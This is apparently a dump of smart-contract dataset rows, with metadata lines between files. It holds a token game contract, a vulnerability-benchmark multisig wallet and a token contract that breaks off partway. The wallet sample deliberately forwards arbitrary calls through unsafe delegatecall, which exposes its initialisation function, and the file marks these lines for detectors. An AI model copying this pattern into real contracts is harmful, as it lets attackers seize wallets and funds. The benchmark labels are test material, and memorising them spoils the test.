function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFromContract(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[address(this)]);
// SafeMath.sub will throw if there is not enough balance.
balances[address(this)] = balances[address(this)].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(this), _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) internal {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MintableToken is BasicToken {
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) internal returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract EFToken is MintableToken, BurnableToken, Ownable {
string public constant name = "EtherFactoryToken";
string public constant symbol = "EFT";
uint8 public constant decimals = 0;
uint256 internal presellStart = now;
mapping(uint256 => address) internal InviterAddress;
mapping(address => uint256) public InviterToID;
uint256 private InviterID = 0;
function sellTokens(uint256 _value) public gameStarted {
require (balances[msg.sender] >= _value && _value > 0);
uint256 balance = address(this).balance;
require (balance > 0);
uint256 total = totalSupply();
uint256 sellRate = uint256(balance.div(total));
uint256 ethValue = sellRate.mul(_value);
msg.sender.transfer(ethValue);
burn(_value);
}
function buyTokens() public gameStarted payable {
uint256 eth = msg.value;
require (msg.value>0);
uint256 tokensAmount = balances[address(this)];
uint256 balance = uint256(SafeMath.sub(address(this).balance,msg.value));
if (balance < 0.1 ether)
balance = 0.1 ether;
uint256 total = totalSupply();
uint256 sellRate = uint256(balance.div(total));
uint256 eftValue = uint256(eth.div(sellRate));
require (eftValue <= tokensAmount && eftValue > 0);
transferFromContract(msg.sender, eftValue);
uint256 fee = uint256(SafeMath.div(msg.value, 10));
// dev fee 10%
owner.transfer(fee);
}
function inviterReg() public {
require (msg.sender != address(0) && InviterToID[msg.sender] == 0);
InviterID++;
InviterAddress[InviterID] = msg.sender;
InviterToID[msg.sender] = InviterID;
}
function tokensRate() public view returns (uint256 rate, uint256 yourEFT, uint256 totalEFT, uint256 ethBalance, uint256 eftBalance) {
yourEFT = balanceOf (msg.sender);
totalEFT = totalSupply();
ethBalance = address(this).balance;
rate = uint256(ethBalance.div(totalEFT));
eftBalance = balances[address(this)];
}
//views
function presellTimer() public view returns (uint256 presellLeft) {
presellLeft = uint256(SafeMath.div(now.sub(presellStart), 60));
}
//modifiers
modifier gameStarted() {
require(now - presellStart >= 604800); // 604800 sec = one week
_;
}
}
contract EtherFactory is EFToken {
//FactoryID -> workers qualification (depends on factory level) -> workers amount
mapping(uint256 => mapping(uint8 => uint256)) internal FactoryPersonal;
//FactoryID -> owner address
mapping(uint256 => address) internal FactoryOwner;
//FactoryID -> start work date (timestamp). For profit calculate;
mapping(uint256 => uint256) internal FactoryWorkStart;
//FactoryID -> factory level;
mapping(uint256 => uint8) internal FactoryLevel;
//FactoryID -> factory eth price;
mapping(uint256 => uint256) internal FactoryPrice;
//FactoryID -> factory name;
mapping(uint256 => string) internal FactoryName;
//Worker -> qualification
mapping(address => uint8) internal WorkerQualification;
//Worker -> FactoryID
mapping(address => uint256) internal WorkerFactory;
//Worker -> start work date (timestamp). For profit calculate;
mapping(address => uint256) internal WorkerWorkStart;
uint256 FactoryID = 0;
//Factories core
function setFactoryName(uint256 _FactoryID, string _Name) public {
require (FactoryOwner[_FactoryID] == msg.sender);
require(bytes(_Name).length <= 50);
FactoryName[_FactoryID] = _Name;
}
function getFactoryProfit(uint256 _FactoryID, address _FactoryOwner) public gameStarted {
require (FactoryOwner[_FactoryID] == _FactoryOwner);
//Factory profit equal to the earnings of all workers.
uint256 profitMinutes = uint256(SafeMath.div(SafeMath.sub(now, FactoryWorkStart[_FactoryID]), 60));
if (profitMinutes > 0) {
uint256 profit = 0;
for (uint8 level=1; level<=FactoryLevel[_FactoryID]; level++) {
profit += SafeMath.mul(SafeMath.mul(uint256(level),profitMinutes), FactoryPersonal[_FactoryID][level]);
}
if (profit > 0) {
mint(_FactoryOwner,profit);
FactoryWorkStart[_FactoryID] = now;
}
}
}
function buildFactory(uint8 _level, uint256 _inviterID) public payable {
require (_level>0 && _level<=100);
uint256 buildCost = uint256(_level).mul(getFactoryPrice());
require (msg.value == buildCost);
FactoryID++;
FactoryOwner[FactoryID] = msg.sender;
FactoryLevel[FactoryID] = _level;
FactoryPrice[FactoryID] = SafeMath.mul(0.15 ether, _level);
//for EFT-ETH rate balance
mint(address(this), SafeMath.mul(1000000, _level));
address Inviter = InviterAddress[_inviterID];
uint256 fee = uint256(SafeMath.div(msg.value, 20));
if (Inviter != address(0)) {
//bounty for invite -> 5% from payment
Inviter.transfer(fee);
} else {
//no inviter, dev fee - 10%
fee = fee.mul(2);
}
// dev fee
owner.transfer(fee);
}
function upgradeFactory(uint256 _FactoryID) public payable {
require (FactoryOwner[_FactoryID] == msg.sender);
require (FactoryLevel[_FactoryID] < 100);
require (msg.value == getFactoryPrice());
FactoryLevel[_FactoryID]++ ;
FactoryPrice[FactoryID] += 0.15 ether;
//for EFT-ETH rate balance
mint(address(this), 1000000);
uint256 fee = uint256(SafeMath.div(msg.value, 10));
// dev fee 10%
owner.transfer(fee);
}
function buyExistFactory(uint256 _FactoryID) public payable {
address factoryOwner = FactoryOwner[_FactoryID];
require (factoryOwner != address(0) && factoryOwner != msg.sender && msg.sender != address(0));
uint256 factoryPrice = FactoryPrice[_FactoryID];
require(msg.value >= factoryPrice);
//new owner
FactoryOwner[_FactoryID] = msg.sender;
//90% to previous factory owner
uint256 Payment90percent = uint256(SafeMath.div(SafeMath.mul(factoryPrice, 9), 10));
//5% dev fee
uint256 fee = uint256(SafeMath.div(SafeMath.mul(factoryPrice, 5), 100));
//new price +50%
FactoryPrice[_FactoryID] = uint256(SafeMath.div(SafeMath.mul(factoryPrice, 3), 2));
factoryOwner.transfer(Payment90percent);
owner.transfer(fee);
//return excess pay
if (msg.value > factoryPrice) {
msg.sender.transfer(msg.value - factoryPrice);
}
}
function increaseMarketValue(uint256 _FactoryID, uint256 _tokens) public gameStarted {
uint256 eftTOethRATE = 200000000000;
require (FactoryOwner[_FactoryID] == msg.sender);
require (balances[msg.sender] >= _tokens && _tokens>0);
FactoryPrice[_FactoryID] = FactoryPrice[_FactoryID] + _tokens*eftTOethRATE;
burn(_tokens);
}
//workers core
function findJob(uint256 _FactoryID) public gameStarted {
require (WorkerFactory[msg.sender] != _FactoryID);
if (WorkerQualification[msg.sender] == 0) {
WorkerQualification[msg.sender] = 1;
}
uint8 qualification = WorkerQualification[msg.sender];
require (FactoryLevel[_FactoryID] >= qualification);
//100 is limit for each worker qualificationon on the factory
require (FactoryPersonal[_FactoryID][qualification] < 100);
//reset factory and worker profit timer
if (WorkerFactory[msg.sender]>0) {
getFactoryProfit(_FactoryID, FactoryOwner[_FactoryID]);
getWorkerProfit();
} else {
WorkerWorkStart[msg.sender] = now;
}
//previous factory lost worker
if (WorkerFactory[msg.sender] > 0) {
FactoryPersonal[WorkerFactory[msg.sender]][qualification]--;
}
WorkerFactory[msg.sender] = _FactoryID;
FactoryPersonal[_FactoryID][qualification]++;
if (FactoryWorkStart[_FactoryID] ==0)
FactoryWorkStart[_FactoryID] = now;
}
function getWorkerProfit() public gameStarted {
require (WorkerFactory[msg.sender] > 0);
//Worker with qualification "ONE" earn 1 token per minute, "TWO" earn 2 tokens, etc...
uint256 profitMinutes = uint256(SafeMath.div(SafeMath.sub(now, WorkerWorkStart[msg.sender]), 60));
if (profitMinutes > 0) {
uint8 qualification = WorkerQualification[msg.sender];
uint256 profitEFT = SafeMath.mul(uint256(qualification),profitMinutes);
require (profitEFT > 0);
mint(msg.sender,profitEFT);
WorkerWorkStart[msg.sender] = now;
}
}
function upgradeQualificationByTokens() public gameStarted {
require (WorkerQualification[msg.sender]<100);
uint256 upgradeCost = 10000;
require (balances[msg.sender] >= upgradeCost);
if (WorkerFactory[msg.sender] > 0)
getWorkerProfit();
uint8 oldQualification = WorkerQualification[msg.sender];
uint256 WorkerFactoryID = WorkerFactory[msg.sender];
if (WorkerQualification[msg.sender]==0)
WorkerQualification[msg.sender]=2;
else
WorkerQualification[msg.sender]++;
if (WorkerFactoryID > 0) {
getFactoryProfit(WorkerFactoryID, FactoryOwner[WorkerFactoryID]);
FactoryPersonal[WorkerFactoryID][oldQualification]--;
if (FactoryLevel[WorkerFactoryID] >= oldQualification+1) {
FactoryPersonal[WorkerFactoryID][oldQualification+1]++;
} else {
//will unemployed
WorkerFactory[msg.sender] = 0;
}
}
// burn tokens
burn(upgradeCost);
}
function upgradeQualificationByEther(uint256 _inviterID) public payable {
require (WorkerQualification[msg.sender]<100);
//0.001 ether or 0.00075 presell
require (msg.value == SafeMath.div(getFactoryPrice(),100));
uint256 fee = uint256(SafeMath.div(msg.value, 20)); //5%
address Inviter = InviterAddress[_inviterID];
if (Inviter != address(0)) {
//bounty for invite -> 5% from payment
Inviter.transfer(fee);
} else {
//no inviter, dev fee - 10%
fee = fee.mul(2);
}
// dev fee
owner.transfer(fee);
if (WorkerFactory[msg.sender] > 0)
getWorkerProfit();
uint8 oldQualification = WorkerQualification[msg.sender];
uint256 WorkerFactoryID = WorkerFactory[msg.sender];
if (WorkerQualification[msg.sender]==0)
WorkerQualification[msg.sender]=2;
else
WorkerQualification[msg.sender]++;
if (WorkerFactoryID > 0) {
getFactoryProfit(WorkerFactoryID, FactoryOwner[WorkerFactoryID]);
FactoryPersonal[WorkerFactoryID][oldQualification]--;
if (FactoryLevel[WorkerFactoryID] >= oldQualification+1) {
FactoryPersonal[WorkerFactoryID][oldQualification+1]++;
} else {
//will unemployed
WorkerFactory[msg.sender] = 0;
}
}
}
function getFactoryPrice() internal view returns (uint256 price) {
if (now - presellStart >= 604800)
price = 0.1 ether;
else
price = 0.075 ether;
}
//views
function allFactories() public constant returns(address[] owner, uint256[] profitMinutes, uint256[] price, uint8[] level) {
//FactoryID is count of factories
price = new uint256[](FactoryID);
profitMinutes = new uint256[](FactoryID);
owner = new address[](FactoryID);
level = new uint8[](FactoryID);
for (uint256 index=1; index<=FactoryID; index++) {
price[index-1] = FactoryPrice[index];
profitMinutes[index-1] = uint256(SafeMath.div(now - FactoryWorkStart[index],60));
owner[index-1] = FactoryOwner[index];
level[index-1] = FactoryLevel[index];
}
}
function aboutFactoryWorkers(uint256 _FactoryID) public constant returns(uint256[] workers, string factoryName) {
uint8 factoryLevel = FactoryLevel[_FactoryID];
factoryName = FactoryName[_FactoryID];
workers = new uint256[](factoryLevel+1);
for (uint8 qualification=1; qualification<=factoryLevel; qualification++)
workers[qualification] = FactoryPersonal[_FactoryID][qualification];
}
function aboutWorker(address _worker) public constant returns(uint8 qualification, uint256 factoryId, uint256 profitMinutes, uint8 factoryLevel) {
qualification = WorkerQualification[_worker];
if (qualification==0)
qualification=1;
factoryId = WorkerFactory[_worker];
factoryLevel = FactoryLevel[factoryId];
profitMinutes = uint256(SafeMath.div(now - WorkerWorkStart[_worker],60));
}
function contractBalance() public constant returns(uint256 ethBalance) {
ethBalance = address(this).balance;
}
}
| 335,905 | 13,182 |
1e54fae885abfede296204707cb0aa10521edf4d8306c75519e809c2fad0baf7
| 16,001 |
.sol
|
Solidity
| false |
640407482
|
bit-smartcontract-analysis/smartcontract-benchmark
|
58ef12b47f600040e786b655ca1a4b44b7b6cfb9
|
small_dataset/dataset/unsafe_delegatecall/wallet_delegatecall.sol
| 4,240 | 15,191 |
pragma solidity ^0.4.9;
contract WalletEvents {
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract WalletAbi {
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external;
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function isOwner(address _addr) constant returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
function setDailyLimit(uint _newLimit) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
contract WalletLibrary is WalletEvents {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) only_uninitialized {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
// function kill(address _to) onlymanyowners(sha3(msg.data)) external {
// suicide(_to);
// }
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
delete m_txs[m_pendingIndex[i]];
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
}
delete m_pendingIndex;
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
contract Wallet is WalletEvents {
// WALLET CONSTRUCTOR
// calls the `initWallet` method of the Library in this context
function Wallet(address[] _owners, uint _required, uint _daylimit) {
// Signature of the Wallet Library's init function
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
// Compute the size of the call data : arrays has 2
// 32bytes for offset and length, plus 32bytes per element ;
// plus 2 32bytes for each uint
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
assembly {
// Add the signature first to memory
mstore(0x0, sig)
// Add the call data, which is at the end of the
// code
codecopy(0x4, sub(codesize, argsize), argsize)
// Delegate call to the library
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
}
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
// <yes> <report> unsafe delegatecall
_walletLibrary.delegatecall(msg.data);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
// As return statement unavailable in fallback, explicit the method here
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
// <yes> <report> unsafe delegatecall
return _walletLibrary.delegatecall(msg.data);
}
function isOwner(address _addr) constant returns (bool) {
// <yes> <report> unsafe delegatecall
return _walletLibrary.delegatecall(msg.data);
}
// FIELDS
address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
}
| 258,306 | 13,183 |
e8e6eab5698ef91e272c2c25713984924494d9de3efe8fd6aa42fcf6046e1331
| 18,677 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x4fc253577d582ab489dd7325e5e77ca2c3cfc3fe.sol
| 4,264 | 16,675 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ContractReceiver {
struct TKN {
address sender;
uint256 value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint256 _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract PetToken {
using SafeMath for uint256;
address public owner;
address public ownerMaster;
string public name;
string public symbol;
uint8 public decimals;
address public adminAddress;
address public auditAddress;
address public marketMakerAddress;
address public mintFeeReceiver;
address public transferFeeReceiver;
address public burnFeeReceiver;
uint256 public decimalpercent = 1000000; //preciso da porcentagem (4) + 2 casas para 100%
struct feeStruct {
uint256 abs;
uint256 prop;
}
feeStruct public mintFee;
feeStruct public transferFee;
feeStruct public burnFee;
uint256 public feeAbsMax;
uint256 public feePropMax;
struct approveMintStruct {
uint256 amount;
address admin;
address audit;
address marketMaker;
}
mapping (address => approveMintStruct) public mintApprove;
struct approveBurnStruct {
uint256 amount;
address admin;
}
mapping (address => approveBurnStruct) public burnApprove;
uint256 public transferWait;
uint256 public transferMaxAmount;
uint256 public lastTransfer;
bool public speedBump;
constructor(address _ownerMaster, string _name, string _symbol,
uint256 _feeAbsMax, uint256 _feePropMax,
uint256 _transferWait, uint256 _transferMaxAmount) public {
decimals = 18;
owner = msg.sender;
name = _name;
symbol = _symbol;
feeAbsMax = _feeAbsMax;
feePropMax = _feePropMax;
ownerMaster = _ownerMaster;
transferWait = _transferWait;
transferMaxAmount = _transferMaxAmount;
lastTransfer = 0;
speedBump = false;
}
modifier onlyAdmin() {
require(msg.sender == adminAddress, "Only admin");
_;
}
modifier onlyAudit() {
require(msg.sender == auditAddress, "Only audit");
_;
}
modifier onlyMarketMaker() {
require(msg.sender == marketMakerAddress, "Only market maker");
_;
}
modifier noSpeedBump() {
require(!speedBump, "Speed bump activated");
_;
}
modifier hasMintPermission(address _address) {
require(mintApprove[_address].admin != 0x0, "Require admin approval");
require(mintApprove[_address].audit != 0x0, "Require audit approval");
require(mintApprove[_address].marketMaker != 0x0, "Require market maker approval");
_;
}
function mint(address _to, uint256 _amount) public hasMintPermission(_to) canMint noSpeedBump {
uint256 fee = calcMintFee (_amount);
uint256 toValue = _amount.sub(fee);
_mint(mintFeeReceiver, fee);
_mint(_to, toValue);
_mintApproveClear(_to);
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
if (speedBump)
{
//Verifica valor
require (_amount <= transferMaxAmount, "Speed bump activated, amount exceeded");
//Verifica frequencia
require (now > (lastTransfer + transferWait), "Speed bump activated, frequency exceeded");
lastTransfer = now;
}
uint256 fee = calcTransferFee (_amount);
uint256 toValue = _amount.sub(fee);
_transfer(transferFeeReceiver, fee);
_transfer(_to, toValue);
return true;
}
function burn(uint256 _amount) public onlyMarketMaker {
uint256 fee = calcBurnFee (_amount);
uint256 fromValue = _amount.sub(fee);
_transfer(burnFeeReceiver, fee);
_burn(msg.sender, fromValue);
}
function calcMintFee(uint256 _amount) public view returns (uint256) {
uint256 fee = 0;
fee = _amount.div(decimalpercent);
fee = fee.mul(mintFee.prop);
fee = fee.add(mintFee.abs);
return fee;
}
function calcTransferFee(uint256 _amount) public view returns (uint256) {
uint256 fee = 0;
fee = _amount.div(decimalpercent);
fee = fee.mul(transferFee.prop);
fee = fee.add(transferFee.abs);
return fee;
}
function calcBurnFee(uint256 _amount) public view returns (uint256) {
uint256 fee = 0;
fee = _amount.div(decimalpercent);
fee = fee.mul(burnFee.prop);
fee = fee.add(burnFee.abs);
return fee;
}
function setAdmin(address _address) public onlyOwner returns (address) {
adminAddress = _address;
return adminAddress;
}
function setAudit(address _address) public onlyOwner returns (address) {
auditAddress = _address;
return auditAddress;
}
function setMarketMaker(address _address) public onlyOwner returns (address) {
marketMakerAddress = _address;
return marketMakerAddress;
}
function setMintFeeReceiver(address _address) public onlyOwner returns (bool) {
mintFeeReceiver = _address;
return true;
}
function setTransferFeeReceiver(address _address) public onlyOwner returns (bool) {
transferFeeReceiver = _address;
return true;
}
function setBurnFeeReceiver(address _address) public onlyOwner returns (bool) {
burnFeeReceiver = _address;
return true;
}
event SetFee(string action, string typeFee, uint256 value);
function setMintFeeAbs(uint256 _value) external onlyOwner returns (bool) {
require(_value < feeAbsMax, "Must be less then maximum");
mintFee.abs = _value;
